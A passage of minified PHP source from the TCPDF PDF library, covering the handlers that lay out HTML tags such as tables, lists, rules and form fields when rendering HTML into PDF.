(empty($this->theadMargins))){$this->theadMargins=array();$this->theadMargins[\'cell_padding\']=$this->cell_padding;$this->theadMargins[\'lmargin\']=$this->lMargin;$this->theadMargins[\'rmargin\']=$this->rMargin;$this->theadMargins[\'page\']=$this->page;$this->theadMargins[\'cell\']=$cell;$this->theadMargins[\'gvars\']=$this->getGraphicVars();}}}$dom[$key][\'old_cell_padding\']=$this->cell_padding;if(isset($tag[\'attribute\'][\'cellpadding\'])){$pad=$this->getHTMLUnitToUnits($tag[\'attribute\'][\'cellpadding\'],1,\'px\');$this->SetCellPadding($pad);}elseif(isset($tag[\'padding\'])){$this->cell_padding=$tag[\'padding\'];}if(isset($tag[\'attribute\'][\'cellspacing\'])){$cs=$this->getHTMLUnitToUnits($tag[\'attribute\'][\'cellspacing\'],1,\'px\');}elseif(isset($tag[\'border-spacing\'])){$cs=$tag[\'border-spacing\'][\'V\'];}$prev_y=$this->y;if($this->checkPageBreak(((2*$cp)+(2*$cs)+$this->lasth),\'\',false) OR ($this->y<$prev_y)){$this->inthead=true;$this->checkPageBreak($this->PageBreakTrigger+1);}break;}case \'tr\':{$dom[$key][\'cellpos\']=array();break;}case \'hr\':{if((isset($tag[\'height\'])) AND ($tag[\'height\']!=\'\')){$hrHeight=$this->getHTMLUnitToUnits($tag[\'height\'],1,\'px\');}else {$hrHeight=$this->GetLineWidth();}$this->addHTMLVertSpace($hbz,max($hb,($hrHeight/2)),$cell,$firsttag);$x=$this->GetX();$y=$this->GetY();$wtmp=$this->w-$this->lMargin-$this->rMargin;if($cell){$wtmp-=($this->cell_padding[\'L\']+$this->cell_padding[\'R\']);}if((isset($tag[\'width\'])) AND ($tag[\'width\']!=\'\')){$hrWidth=$this->getHTMLUnitToUnits($tag[\'width\'],$wtmp,\'px\');}else {$hrWidth=$wtmp;}$prevlinewidth=$this->GetLineWidth();$this->SetLineWidth($hrHeight);$this->Line($x,$y,$x+$hrWidth,$y);$this->SetLineWidth($prevlinewidth);$this->addHTMLVertSpace(max($hbc,($hrHeight/2)),0,$cell,!isset($dom[($key+1)]));break;}case \'a\':{if(array_key_exists(\'href\',$tag[\'attribute\'])){$this->HREF[\'url\']=$tag[\'attribute\'][\'href\'];}break;}case \'dl\':{++$this->listnum;if($this->listnum==1){$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);}else {$this->addHTMLVertSpace(0,0,$cell,$firsttag);}break;}case \'dt\':{$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case \'dd\':{if($this->rtl){$this->rMargin+=$this->listindent;}else {$this->lMargin+=$this->listindent;}++$this->listindentlevel;$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case \'ul\':case \'ol\':{++$this->listnum;if($tag[\'value\']==\'ol\'){$this->listordered[$this->listnum]=true;}else {$this->listordered[$this->listnum]=false;}if(isset($tag[\'attribute\'][\'start\'])){$this->listcount[$this->listnum]=intval($tag[\'attribute\'][\'start\'])-1;}else {$this->listcount[$this->listnum]=0;}if($this->rtl){$this->rMargin+=$this->listindent;$this->x-=$this->listindent;}else {$this->lMargin+=$this->listindent;$this->x+=$this->listindent;}++$this->listindentlevel;if($this->listnum==1){if($key>1){$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);}}else {$this->addHTMLVertSpace(0,0,$cell,$firsttag);}break;}case \'li\':{if($key>2){$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);}if($this->listordered[$this->listnum]){if(isset($parent[\'attribute\'][\'type\']) AND !TCPDF_STATIC::empty_string($parent[\'attribute\'][\'type\'])){$this->lispacer=$parent[\'attribute\'][\'type\'];}elseif(isset($parent[\'listtype\']) AND !TCPDF_STATIC::empty_string($parent[\'listtype\'])){$this->lispacer=$parent[\'listtype\'];}elseif(isset($this->lisymbol) AND !TCPDF_STATIC::empty_string($this->lisymbol)){$this->lispacer=$this->lisymbol;}else {$this->lispacer=\'#\';}++$this->listcount[$this->listnum];if(isset($tag[\'attribute\'][\'value\'])){$this->listcount[$this->listnum]=intval($tag[\'attribute\'][\'value\']);}}else {if(isset($parent[\'attribute\'][\'type\']) AND !TCPDF_STATIC::empty_string($parent[\'attribute\'][\'type\'])){$this->lispacer=$parent[\'attribute\'][\'type\'];}elseif(isset($parent[\'listtype\']) AND !TCPDF_STATIC::empty_string($parent[\'listtype\'])){$this->lispacer=$parent[\'listtype\'];}elseif(isset($this->lisymbol) AND !TCPDF_STATIC::empty_string($this->lisymbol)){$this->lispacer=$this->lisymbol;}else {$this->lispacer=\'!\';}}break;}case \'blockquote\':{if($this->rtl){$this->rMargin+=$this->listindent;}else {$this->lMargin+=$this->listindent;}++$this->listindentlevel;$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case \'br\':{$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case \'div\':{$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case \'p\':{$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case \'pre\':{$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);$this->premode=true;break;}case \'sup\':{$this->SetXY($this->GetX(),$this->GetY()-((0.7*$this->FontSizePt)/$this->k));break;}case \'sub\':{$this->SetXY($this->GetX(),$this->GetY()+((0.3*$this->FontSizePt)/$this->k));break;}case \'h1\':case \'h2\':case \'h3\':case \'h4\':case \'h5\':case \'h6\':{$this->addHTMLVertSpace($hbz,$hb,$cell,$firsttag);break;}case \'form\':{if(isset($tag[\'attribute\'][\'action\'])){$this->form_action=$tag[\'attribute\'][\'action\'];}else {$this->Error(\'Please explicitly set action attribute path!\');}if(isset($tag[\'attribute\'][\'enctype\'])){$this->form_enctype=$tag[\'attribute\'][\'enctype\'];}else {$this->form_enctype=\'application/x-www-form-urlencoded\';}if(isset($tag[\'attribute\'][\'method\'])){$this->form_mode=$tag[\'attribute\'][\'method\'];}else {$this->form_mode=\'post\';}break;}case \'input\':{if(isset($tag[\'attribute\'][\'name\']) AND !TCPDF_STATIC::empty_string($tag[\'attribute\'][\'name\'])){$name=$tag[\'attribute\'][\'name\'];}else {break;}$prop=array();$opt=array();if(isset($tag[\'attribute\'][\'readonly\']) AND !TCPDF_STATIC::empty_string($tag[\'attribute\'][\'readonly\'])){$prop[\'readonly\']=true;}if(isset($tag[\'attribute\'][\'value\']) AND !TCPDF_STATIC::empty_string($tag[\'attribute\'][\'value\'])){$value=$tag[\'attribute\'][\'value\'];}if(isset($tag[\'attribute\'][\'maxlength\']) AND !TCPDF_STATIC::empty_string($tag[\'attribute\'][\'maxlength\'])){$opt[\'maxlen\']=intval($tag[\'attribute\'][\'maxlength\']);}$h=$this->getCellHeight($this->FontSize);if(isset($tag[\'attribute\'][\'size\']) AND !TCPDF_STATIC::empty_string($tag[\'attribute\'][\'size\'])){$w=intval($tag[\'attribute\'][\'size\'])*$this->GetStringWidth(chr(32))*2;}else {$w=$h;}if(isset($tag[\'attribute\'][\'checked\']) AND (($tag[\'attribute\'][\'checked\']==\'checked\') OR ($tag[\'attribute\'][\'checked\']==\'true\'))){$checked=true;}else {$checked=false;}if(isset($tag[\'align\'])){switch($tag[\'align\']){case \'C\':{$opt[\'q\']=1;break;}case \'R\':{$opt[\'q\']=2;break;}case \'L\':default:{break;}}}switch($tag[\'attribute\'][\'type\']){case \'text\':{if(isset($value)){$opt[\'v\']=$value;}$this->TextField($name,$w,$h,$prop,$opt,\'\',\'\',false);break;}case \'password\':{if(isset($value)){$opt[\'v\']=$value;}$prop[\'password\']=\'true\';$this->TextField($name,$w,$h,$prop,$opt,\'\',\'\',false);break;}case \'checkbox\':{if(!isset($value)){break;}$this->CheckBox($name,$w,$checked,$prop,$opt,$value,\'\',\'\',false);break;}case \'radio\':{if(!isset($value)){break;}$this->RadioButton($name,$w,$prop,$opt,$value,$checked,\'\',\'\',false);break;}case \'submit\':{if(!isset($value)){$value=\'submit\';}$w=$this->GetStringWidth($value)*1.5;$h*=1.6;$prop=array(\'lineWidth\'=>1,\'borderStyle\'=>\'beveled\',\'fillColor\'=>array(196,196,196),\'strokeColor\'=>array(255,255,255));$action=array();$action[\'S\']=\'SubmitForm\';$action[\'F\']=$this->form_action;if($this->form_enctype!=\'FDF\'){$action[\'Flags\']=array(\'ExportFormat\');}if($this->form_mode==\'get\'){$action[\'Flags\']=array(\'GetMethod\');}$this->Button($name,$w,$h,$value,$action,$prop,$opt,\'\',\'\',false);break;}case \'reset\':{if(!isset($value)){$value=\'reset\';}$w=$this->GetStringWidth($value)*1.5;$h*=1.6;$prop=array(\'lineWidth\'=>1,\'borderStyle\'=>\'beveled\',\'fillColor\'=>array(196,196,196),\'strokeColor\'=>array(255,255,255));$this->Button($name,$w,$h,$value,array(\'S\'=>\'ResetForm\'),$prop,$opt,\'\',\'\',false);break;}case \'file\':{$prop[\'fileSelect\']=\'true\';$this->TextField($name,$w,$h,$prop,$opt,\'\',\'\',false);if(!isset($value)){$value=\'*\';}$w=$this->GetStringWidth($value)*2;$h*=1.2;$prop=array(\'lineWidth\'=>1,\'borderStyle\'=>\'beveled\',\'fillColor\'=>array(196,196,196),\'strokeColor\'=>array(255,255,255));$jsaction=\'var f=this.getField(\'\'.$name.\'\'); f.browseForFileToSubmit();\';$this->Button(\'FB_\'.$name,$w,$h,$value,$jsaction,$prop,$opt,\'\',\'\',false);break;}case \'hidden\':{if(isset($value)){$opt[\'v\']=$value;}$opt[\'f\']=array(\'invisible\',\'hidden\');$this->TextField($name,0,0,$prop,$opt,\'\',\'\',false);break;}case \'image\':{if(isset($tag[\'attribute\'][\'src\']) AND !TCPDF_STATIC::empty_string($tag[\'attribute\'][\'src\'])){$img=$tag[\'attribute\'][\'src\'];}else {break;}$value=\'img\';if(isset($tag[\'attribute\'][\'onclick\']) AND !empty($tag[\'attribute\'][\'onclick\'])){$jsaction=$tag[\'attribute\'][\'onclick\'];}else {$jsaction=\'\';}$this->Button($name,$w,$h,$value,$jsaction,$prop,$opt,\'\',\'\',false);break;}case \'button\':{if(!isset($value)){$value=\' \';}$w=$this->GetStringWidth($value)*1.5;$h*=1.6;$prop=array(\'lineWidth\'=>1,\'borderStyle\'=>\'beveled\',\'fillColor\'=>array(196,196,196),\'strokeColor\'=>array(255,255,255));if(isset($tag[\'attribute\'][\'onclick\']) AND !empty($tag[\'attribute\'][\'onclick\'])){$jsaction=$tag[\'attribute\'][\'onclick\'];}else {$jsaction=\'\';}$this->Button($name,$w,$h,$value,$jsaction,$prop,$opt,\'\',\'\',false);break;}}break;}case \'textarea\':{$prop=array();$opt=array();if(isset($tag[\'attribute\'][\'readonly\']) AND !TCPDF_STATIC::empty_string($tag[\'attribute\'][\'readonly\'])){$prop[\'readonly\']=true;}if(isset($tag[\'attribute\'][\'name\']) AND !TCPDF_STATIC::empty_string($tag[\'attribute\'][\'name\'])){$name=$tag[\'attribute\'][\'name\'];}else {break;}if(isset($tag[\'attribute\'][\'value\']) AND !TCPDF_STATIC::empty_string($tag[\'attribute\'][\'value\'])){$opt[\'v\']=$tag[\'attribute\'][\'value\'];}if(isset($tag[\'attribute\'][\'cols\']) AND !TCPDF_STATIC::empty_string($tag[\'attribute\'][\'cols\'])){$w=intval($tag[\'attribute\'][\'cols\'])*$this->GetStringWidth(chr(32))*2;}else {$w=40;}if(isset($tag[\'attribute\'][\'rows\']) AND !TCPDF_STATIC::empty_string($tag[\'attribute\'][\'rows\'])){$h=intval($tag[\'attribute\'][\'rows\'])*$this->getCellHeight($this->FontSize);}else {$h=10;}$prop[\'multiline\']=\'true\';$this->TextField($name,$w,$h,$prop,$opt,\'\',\'\',false);break;}case \'select\':{$h=$this->getCellHeight($this->FontSize);if(isset($tag[\'attribute\'][\'size\']) AND !TCPDF_STATIC::empty_string($tag[\'attribute\'][\'size\'])){$h*=($tag[\'attribute\'][\'size\']+1);}$prop=array();$opt=array();if(isset($tag[\'attribute\'][\'name\']) AND !TCPDF_STATIC::empty_string($tag[\'attribute\'][\'name\'])){$name=$tag[\'attribute\'][\'name\'];}else {break;}$w=0;if(isset($tag[\'attribute\'][\'opt\']) AND !TCPDF_STATIC::empty_string($tag[\'attribute\'][\'opt\'])){$options=explode(\'#!NwL!#\',$tag[\'attribute\'][\'opt\']);$values=array();foreach($options as $val){if(strpos($val,\'#!TaB!#\')!==false){$opts=explode(\'#!TaB!#\',$val);$values[]=$opts;$w=max($w,$this->GetStringWidth($opts[1]));}else {$values[]=$val;$w=max($w,$this->GetStringWidth($val));}}}else {break;}$w*=2;if(isset($tag[\'attribute\'][\'multiple\']) AND ($tag[\'attribute\'][\'multiple\']=\'multiple\')){$prop[\'multipleSelection\']=\'true\';$this->ListBox($name,$w,$h,$values,$prop,$opt,\'\',\'\',false);}else {$this->ComboBox($name,$w,$h,$values,$prop,$opt,\'\',\'\',false);}break;}case \'tcpdf\':{if(defined(\'K_TCPDF_CALLS_IN_HTML\') AND (K_TCPDF_CALLS_IN_HTML===true)){if(isset($tag[\'attribute\'][\'method\'])){$tcpdf_method=$tag[\'attribute\'][\'method\'];if(method_exists($this,$tcpdf_method)){if(isset($tag[\'attribute\'][\'params\']) AND (!empty($tag[\'attribute\'][\'params\']))){$params=$this->unserializeTCPDFtagParameters($tag[\'attribute\'][\'params\']);call_user_func_array(array($this,$tcpdf_method),$params);}else {$this->$tcpdf_method();}$this->newline=true;}}}break;}default:{break;}}$bordertags=array(\'blockquote\',\'br\',\'dd\',\'dl\',\'div\',\'dt\',\'h1\',\'h2\',\'h3\',\'h4\',\'h5\',\'h6\',\'hr\',\'li\',\'ol\',\'p\',\'pre\',\'ul\',\'tcpdf\',\'table\');if(in_array($tag[\'value\'],$bordertags)){$dom[$key][\'borderposition\']=$this->getBorderStartPosition();}if($dom[$key][\'self\'] AND isset($dom[$key][\'attribute\'][\'pagebreakafter\'])){$pba=$dom[$key][\'attribute\'][\'pagebreakafter\'];if(($pba==\'true\') OR ($pba==\'left\') OR ($pba==\'right\')){$this->checkPageBreak($this->PageBreakTrigger+1);}if((($pba==\'left\') AND (((!$this->rtl) AND (($this->page%2)==0)) OR (($this->rtl) AND (($this->page%2)!=0)))) OR (($pba==\'right\') AND (((!$this->rtl) AND (($this->page%2)!=0)) OR (($this->rtl) AND (($this->page%2)==0))))){$this->checkPageBreak($this->PageBreakTrigger+1);}}return $dom;} function closeHTMLTagHandler($dom,$key,$cell,$maxbottomliney=0){$tag=$dom[$key];$parent=$dom[($dom[$key][\'parent\'])];$lasttag=((!isset($dom[($key+1)])) OR ((!isset($dom[($key+2)])) AND ($dom[($key+1)][\'value\']==\'marker\')));$in_table_head=false;if($this->rtl){$xmax=$this->w;}else {$xmax=0;}if($tag[\'block\']){$hbz=0;$hb=0;if(isset($this->tagvspaces[$tag[\'value\']][1][\'h\']) AND ($this->tagvspaces[$tag[\'value\']][1][\'h\']>=0)){$pre_h=$this->tagvspaces[$tag[\'value\']][1][\'h\'];}elseif(isset($parent[\'fontsize\'])){$pre_h=$this->getCellHeight($parent[\'fontsize\']/$this->k);}else {$pre_h=$this->getCellHeight($this->FontSize);}if(isset($this->tagvspaces[$tag[\'value\']][1][\'n\'])){$cn=$this->tagvspaces[$tag[\'value\']][1][\'n\'];}elseif(preg_match(\'/[h][0-9]/\',$tag[\'value\'])>0){$cn=0.6;}else {$cn=1;}if((!isset($this->tagvspaces[$tag[\'value\']])) AND ($tag[\'value\']==\'div\')){$hb=0;}else {$hb=($cn*$pre_h);}if($maxbottomliney>$this->PageBreakTrigger){$hbz=$this->getCellHeight($this->FontSize);}elseif($this->y<$maxbottomliney){$hbz=($maxbottomliney-$this->y);}}switch($tag[\'value\']){case \'tr\':{$table_el=$dom[($dom[$key][\'parent\'])][\'parent\'];if(!isset($parent[\'endy\'])){$dom[($dom[$key][\'parent\'])][\'endy\']=$this->y;$parent[\'endy\']=$this->y;}if(!isset($parent[\'endpage\'])){$dom[($dom[$key][\'parent\'])][\'endpage\']=$this->page;$parent[\'endpage\']=$this->page;}if(!isset($parent[\'endcolumn\'])){$dom[($dom[$key][\'parent\'])][\'endcolumn\']=$this->current_column;$parent[\'endcolumn\']=$this->current_column;}if(isset($dom[$table_el][\'rowspans\'])){foreach($dom[$table_el][\'rowspans\'] as $k=>$trwsp){$dom[$table_el][\'rowspans\'][$k][\'rowspan\']-=1;if($dom[$table_el][\'rowspans\'][$k][\'rowspan\']==0){if(($dom[$table_el][\'rowspans\'][$k][\'endpage\']==$parent[\'endpage\']) AND ($dom[$table_el][\'rowspans\'][$k][\'endcolumn\']==$parent[\'endcolumn\'])){$dom[($dom[$key][\'parent\'])][\'endy\']=max($dom[$table_el][\'rowspans\'][$k][\'endy\'],$parent[\'endy\']);}elseif(($dom[$table_el][\'rowspans\'][$k][\'endpage\']>$parent[\'endpage\']) OR ($dom[$table_el][\'rowspans\'][$k][\'endcolumn\']>$parent[\'endcolumn\'])){$dom[($dom[$key][\'parent\'])][\'endy\']=$dom[$table_el][\'rowspans\'][$k][\'endy\'];$dom[($dom[$key][\'parent\'])][\'endpage\']=$dom[$table_el][\'rowspans\'][$k][\'endpage\'];$dom[($dom[$key][\'parent\'])][\'endcolumn\']=$dom[$table_el][\'rowspans\'][$k][\'endcolumn\'];}}}foreach($dom[$table_el][\'rowspans\'] as $k=>$trwsp){if($dom[$table_el][\'rowspans\'][$k][\'rowspan\']==0){$dom[$table_el][\'rowspans\'][$k][\'endpage\']=max($dom[$table_el][\'rowspans\'][$k][\'endpage\'],$dom[($dom[$key][\'parent\'])][\'endpage\']);$dom[($dom[$key][\'parent\'])][\'endpage\']=$dom[$table_el][\'rowspans\'][$k][\'endpage\'];$dom[$table_el][\'rowspans\'][$k][\'endcolumn\']=max($dom[$table_el][\'rowspans\'][$k][\'endcolumn\'],$dom[($dom[$key][\'parent\'])][\'endcolumn\']);$dom[($dom[$key][\'parent\'])][\'endcolumn\']=$dom[$table_el][\'rowspans\'][$k][\'endcolumn\'];$dom[$table_el][\'rowspans\'][$k][\'endy\']=max($dom[$table_el][\'rowspans\'][$k][\'endy\'],$dom[($dom[$key][\'parent\'])][\'endy\']);$dom[($dom[$key][\'parent\'])][\'endy\']=$dom[$table_el][\'rowspans\'][$k][\'endy\'];}}foreach($dom[$table_el][\'rowspans\'] as $k=>$trwsp){if($dom[$table_el][\'rowspans\'][$k][\'rowspan\']==0){$dom[$table_el][\'rowspans\'][$k][\'endpage\']=$dom[($dom[$key][\'parent\'])][\'endpage\'];$dom[$table_el][\'rowspans\'][$k][\'endcolumn\']=$dom[($dom[$key][\'parent\'])][\'endcolumn\'];$dom[$table_el][\'rowspans\'][$k][\'endy\']=$dom[($dom[$key][\'parent\'])][\'endy\'];}}}$prev_page=$this->page;$this->setPage($dom[($dom[$key][\'parent\'])][\'endpage\']);if($this->num_columns>1){if(($prev_page<$this->page) AND ((($this->current_column==0) AND ($dom[($dom[$key][\'parent\'])][\'endcolumn\']==($this->num_columns-1))) OR ($this->current_column==$dom[($dom[$key][\'parent\'])][\'endcolumn\']))){$this->selectColumn(0);$dom[($dom[$key][\'parent\'])][\'endcolumn\']=0;$dom[($dom[$key][\'parent\'])][\'endy\']=$this->y;}else {$this->selectColumn($dom[($dom[$key][\'parent\'])][\'endcolumn\']);$this->y=$dom[($dom[$key][\'parent\'])][\'endy\'];}}else {$this->y=$dom[($dom[$key][\'parent\'])][\'endy\'];}if(isset($dom[$table_el][\'attribute\'][\'cellspacing\'])){$this->y+=$this->getHTMLUnitToUnits($dom[$table_el][\'attribute\'][\'cellspacing\'],1,\'px\');}elseif(isset($dom[$table_el][\'border-spacing\'])){$this->y+=$dom[$table_el][\'border-spacing\'][\'V\'];}$this->Ln(0,$cell);if($this->current_column==$parent[\'startcolumn\']){$this->x=$parent[\'startx\'];}if($this->page>$parent[\'startpage\']){if(($this->rtl) AND ($this->pagedim[$this->page][\'orm\']!=$this->pagedim[$parent[\'startpage\']][\'orm\'])){$this->x-=($this->pagedim[$this->page][\'orm\']-$this->pagedim[$parent[\'startpage\']][\'orm\']);}elseif((!$this->rtl) AND ($this->pagedim[$this->page][\'olm\']!=$this->pagedim[$parent[\'startpage\']][\'olm\'])){$this->x+=($this->pagedim[$this->page][\'olm\']-$this->pagedim[$parent[\'startpage\']][\'olm\']);}}break;}case \'tablehead\':$in_table_head=true;$this->inthead=false;case \'table\':{$table_el=$parent;if(isset($table_el[\'attribute\'][\'border\']) AND ($table_el[\'attribute\'][\'border\']>0)){$border=array(\'LTRB\'=>array(\'width\'=>$this->getCSSBorderWidth($table_el[\'attribute\'][\'border\']),\'cap\'=>\'square\',\'join\'=>\'miter\',\'dash\'=>0,\'color\'=>array(0,0,0)));}else {$border=0;}$default_border=$border;foreach($dom[($dom[$key][\'parent\'])][\'trids\'] as $j=>$trkey){if(isset($dom[($dom[$key][\'parent\'])][\'rowspans\'])){foreach($dom[($dom[$key][\'parent\'])][\'rowspans\'] as $k=>$trwsp){if(isset($prevtrkey) AND ($trwsp[\'trid\']==$prevtrkey) AND ($trwsp[\'mrowspan\']>0)){$dom[($dom[$key][\'parent\'])][\'rowspans\'][$k][\'trid\']=$trkey;}if($dom[($dom[$key][\'parent\'])][\'rowspans\'][$k][\'trid\']==$trkey){$dom[($dom[$key][\'parent\'])][\'rowspans\'][$k][\'mrowspan\']-=1;}}}if(isset($prevtrkey) AND ($dom[$trkey][\'startpage\']>$dom[$prevtrkey][\'endpage\'])){$pgendy=$this->pagedim[$dom[$prevtrkey][\'endpage\']][\'hk\']-$this->pagedim[$dom[$prevtrkey][\'endpage\']][\'bm\'];$dom[$prevtrkey][\'endy\']=$pgendy;if(isset($dom[($dom[$key][\'parent\'])][\'rowspans\'])){foreach($dom[($dom[$key][\'parent\'])][\'rowspans\'] as $k=>$trwsp){if(($trwsp[\'trid\']==$prevtrkey) AND ($trwsp[\'mrowspan\']>=0) AND ($trwsp[\'endpage\']==$dom[$prevtrkey][\'endpage\'])){$dom[($dom[$key][\'parent\'])][\'rowspans\'][$k][\'endy\']=$pgendy;$dom[($dom[$key][\'parent\'])][\'rowspans\'][$k][\'mrowspan\']=-1;}}}}$prevtrkey=$trkey;$table_el=$dom[($dom[$key][\'parent\'])];}if(count($table_el[\'trids\'])>0){unset($xmax);}foreach($table_el[\'trids\'] as $j=>$trkey){$parent=$dom[$trkey];if(!isset($xmax)){$xmax=$parent[\'cellpos\'][(count($parent[\'cellpos\'])-1)][\'endx\'];}foreach($parent[\'cellpos\'] as $k=>$cellpos){if(isset($cellpos[\'rowspanid\']) AND ($cellpos[\'rowspanid\']>=0)){$cellpos[\'startx\']=$table_el[\'rowspans\'][($cellpos[\'rowspanid\'])][\'startx\'];$cellpos[\'endx\']=$table_el[\'rowspans\'][($cellpos[\'rowspanid\'])][\'endx\'];$endy=$table_el[\'rowspans\'][($cellpos[\'rowspanid\'])][\'endy\'];$startpage=$table_el[\'rowspans\'][($cellpos[\'rowspanid\'])][\'startpage\'];$endpage=$table_el[\'rowspans\'][($cellpos[\'rowspanid\'])][\'endpage\'];$startcolumn=$table_el[\'rowspans\'][($cellpos[\'rowspanid\'])][\'startcolumn\'];$endcolumn=$table_el[\'rowspans\'][($cellpos[\'rowspanid\'])][\'endcolumn\'];}else {$endy=$parent[\'endy\'];$startpage=$parent[\'startpage\'];$endpage=$parent[\'endpage\'];$startcolumn=$parent[\'startcolumn\'];$endcolumn=$parent[\'endcolumn\'];}if($this->num_columns==0){$this->num_columns=1;}if(isset($cellpos[\'border\'])){$border=$cellpos[\'border\'];}if(isset($cellpos[\'bgcolor\']) AND ($cellpos[\'bgcolor\'])!==false){$this->SetFillColorArray($cellpos[\'bgcolor\']);$fill=true;}else {$fill=false;}$x=$cellpos[\'startx\'];$y=$parent[\'starty\'];$starty=$y;$w=abs($cellpos[\'endx\']-$cellpos[\'startx\']);$border_start=TCPDF_STATIC::getBorderMode($border,$position=\'start\',$this->opencell);$border_end=TCPDF_STATIC::getBorderMode($border,$position=\'end\',$this->opencell);$border_middle=TCPDF_STATIC::getBorderMode($border,$position=\'middle\',$this->opencell);for($page=$startpage;$page<=$endpage;++$page){$ccode=\'\';$this->setPage($page);if($this->num_columns<2){$this->x=$x;$this->y=$this->tMargin;}if($page>$startpage){if(($this->rtl) AND ($this->pagedim[$page][\'orm\']!=$this->pagedim[$startpage][\'orm\'])){$this->x-=($this->pagedim[$page][\'orm\']-$this->pagedim[$startpage][\'orm\']);}elseif((!$this->rtl) AND ($this->pagedim[$page][\'olm\']!=$this->pagedim[$startpage][\'olm\'])){$this->x+=($this->pagedim[$page][\'olm\']-$this->pagedim[$startpage][\'olm\']);}}if($startpage==$endpage){$deltacol=0;$deltath=0;for($column=$startcolumn;$column<=$endcolumn;++$column){$this->selectColumn($column);if($startcolumn==$endcolumn){$cborder=$border;$h=$endy-$parent[\'starty\'];$this->y=$y;$this->x=$x;}elseif($column==$startcolumn){$cborder=$border_start;$this->y=$starty;$this->x=$x;$h=$this->h-$this->y-$this->bMargin;if($this->rtl){$deltacol=$this->x+$this->rMargin-$this->w;}else {$deltacol=$this->x-$this->lMargin;}}elseif($column==$endcolumn){$cborder=$border_end;if(isset($this->columns[$column][\'th\'][\'\'\'.$page.\'\'\'])){$this->y=$this->columns[$column][\'th\'][\'\'\'.$page.\'\'\'];}$this->x+=$deltacol;$h=$endy-$this->y;}else {$cborder=$border_middle;if(isset($this->columns[$column][\'th\'][\'\'\'.$page.\'\'\'])){$this->y=$this->columns[$column][\'th\'][\'\'\'.$page.\'\'\'];}$this->x+=$deltacol;$h=$this->h-$this->y-$this->bMargin;}$ccode.=$this->getCellCode($w,$h,\'\',$cborder,1,\'\',$fill,\'\',0,true)."
";}}elseif($page==$startpage){$deltacol=0;$deltath=0;for($column=$startcolumn;$column<$this->num_columns;++$column){$this->selectColumn($column);if($column==$startcolumn){$cborder=$border_start;$this->y=$starty;$this->x=$x;$h=$this->h-$this->y-$this->bMargin;if($this->rtl){$deltacol=$this->x+$this->rMargin-$this->w;}else {$deltacol=$this->x-$this->lMargin;}}else {$cborder=$border_middle;if(isset($this->columns[$column][\'th\'][\'\'\'.$page.\'\'\'])){$this->y=$this->columns[$column][\'th\'][\'\'\'.$page.\'\'\'];}$this->x+=$deltacol;$h=$this->h-$this->y-$this->bMargin;}$ccode.=$this->getCellCode($w,$h,\'\',$cborder,1,\'\',$fill,\'\',0,true)."
";}}elseif($page==$endpage){$deltacol=0;$deltath=0;for($column=0;$column<=$endcolumn;++$column){$this->selectColumn($column);if($column==$endcolumn){$cborder=$border_end;if(isset($this->columns[$column][\'th\'][\'\'\'.$page.\'\'\'])){$this->y=$this->columns[$column][\'th\'][\'\'\'.$page.\'\'\'];}$this->x+=$deltacol;$h=$endy-$this->y;}else {$cborder=$border_middle;if(isset($this->columns[$column][\'th\'][\'\'\'.$page.\'\'\'])){$this->y=$this->columns[$column][\'th\'][\'\'\'.$page.\'\'\'];}$this->x+=$deltacol;$h=$this->h-$this->y-$this->bMargin;}$ccode.=$this->getCellCode($w,$h,\'\',$cborder,1,\'\',$fill,\'\',0,true)."
";}}else {$deltacol=0;$deltath=0;for($column=0;$column<$this->num_columns;++$column){$this->selectColumn($column);$cborder=$border_middle;if(isset($this->columns[$column][\'th\'][\'\'\'.$page.\'\'\'])){$this->y=$this->columns[$column][\'th\'][\'\'\'.$page.\'\'\'];}$this->x+=$deltacol;$h=$this->h-$this->y-$this->bMargin;$ccode.=$this->getCellCode($w,$h,\'\',$cborder,1,\'\',$fill,\'\',0,true)."
";}}if(!empty($cborder) OR !empty($fill)){$offsetlen=strlen($ccode);if($this->inxobj){if(end($this->xobjects[$this->xobjid][\'transfmrk\'])!==false){$pagemarkkey=key($this->xobjects[$this->xobjid][\'transfmrk\']);$pagemark=$this->xobjects[$this->xobjid][\'transfmrk\'][$pagemarkkey];$this->xobjects[$this->xobjid][\'transfmrk\'][$pagemarkkey]+=$offsetlen;}else {$pagemark=$this->xobjects[$this->xobjid][\'intmrk\'];$this->xobjects[$this->xobjid][\'intmrk\']+=$offsetlen;}$pagebuff=$this->xobjects[$this->xobjid][\'outdata\'];$pstart=substr($pagebuff,0,$pagemark);$pend=substr($pagebuff,$pagemark);$this->xobjects[$this->xobjid][\'outdata\']=$pstart.$ccode.$pend;}else {if(end($this->transfmrk[$this->page])!==false){$pagemarkkey=key($this->transfmrk[$this->page]);$pagemark=$this->transfmrk[$this->page][$pagemarkkey];}elseif($this->InFooter){$pagemark=$this->footerpos[$this->page];}else {$pagemark=$this->intmrk[$this->page];}$pagebuff=$this->getPageBuffer($this->page);$pstart=substr($pagebuff,0,$pagemark);$pend=substr($pagebuff,$pagemark);$this->setPageBuffer($this->page,$pstart.$ccode.$pend);}}}$border=$default_border;}if(isset($table_el[\'attribute\'][\'cellspacing\'])){$this->y+=$this->getHTMLUnitToUnits($table_el[\'attribute\'][\'cellspacing\'],1,\'px\');}elseif(isset($table_el[\'border-spacing\'])){$this->y+=$table_el[\'border-spacing\'][\'V\'];}$this->Ln(0,$cell);$this->x=$parent[\'startx\'];if($endpage>$startpage){if(($this->rtl) AND ($this->pagedim[$endpage][\'orm\']!=$this->pagedim[$startpage][\'orm\'])){$this->x+=($this->pagedim[$endpage][\'orm\']-$this->pagedim[$startpage][\'orm\']);}elseif((!$this->rtl) AND ($this->pagedim[$endpage][\'olm\']!=$this->pagedim[$startpage][\'olm\'])){$this->x+=($this->pagedim[$endpage][\'olm\']-$this->pagedim[$startpage][\'olm\']);}}}if(!$in_table_head){$this->cell_padding=$table_el[\'old_cell_padding\'];$this->resetLastH();if(($this->page==($this->numpages-1)) AND ($this->pageopen[$this->numpages])){$plendiff=($this->pagelen[$this->numpages]-$this->emptypagemrk[$this->numpages]);if(($plendiff>0) AND 